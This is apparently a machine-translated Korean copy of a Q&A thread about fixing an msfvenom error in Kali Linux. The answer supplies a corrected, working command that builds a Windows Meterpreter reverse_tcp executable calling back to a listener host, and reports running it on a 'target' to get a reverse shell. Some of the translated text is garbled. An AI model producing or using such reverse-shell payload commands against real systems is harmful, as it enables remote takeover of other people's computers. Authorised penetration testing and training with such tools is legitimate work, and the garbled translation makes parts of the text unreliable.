2014-10-10 1 views
0
[email protected]:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe 
Attempting to read payload from STDIN... 
You must select an arch for a custom payload 

나는 언젠가는 긍정적 인 결과없이 인터넷 검색을 해왔다.커스텀 페이로드 Kali Linux

누구나 'You must select an arch for a custom payload'의 의미를 말해 줄 수 있습니까?

+0

도움말 센터와 [가능한 최소한의 예를 만드는 방법] (https://stackoverflow.com/help/mcve)을 살펴보십시오. [this] (https://unix.stackexchange.com/questions/399626/why-is-kali-linux-so-hard-to-set-up-why-wont-people-help-me/399627# 참조) 399627) 답변, 근본적인 문제를 도울 수 있습니다. – charlesreid1

답변

2

msfvenom -h로 이동하면 도움이 표시됩니다. 아키텍처를 설정하라는 명령이 '-a'로 표시되어 x86 또는 원하는 다른 아키텍처로 설정해야합니다. 그래서 명령은 msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe처럼 보일 것입니다. 실제로 페이로드 설명 앞에 '-p'를 포함시켜 페이로드를 지정해야하므로 명령은 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe처럼 보일 것입니다. 플랫폼이 선택되지 않았다고 불평 할 것입니다 ... "플랫폼이 선택되지 않았으며 Msf :: Module :: Platform :: Windows를 페이로드에서 선택하면"Found 0 compatible encoders "가 표시됩니다. , 그냥 무시하십시오. "yourexploit.exe"파일을 입력하면 PE32 실행 파일을 말하는 데이터가 제공됩니다. 나는 이것을 알아 냈고 그것은 나를 위해 일했고, 내 목표물에서 .exe를 실행했고, 역전 된 껍질을 가지고있었습니다. 행운을 빕니다!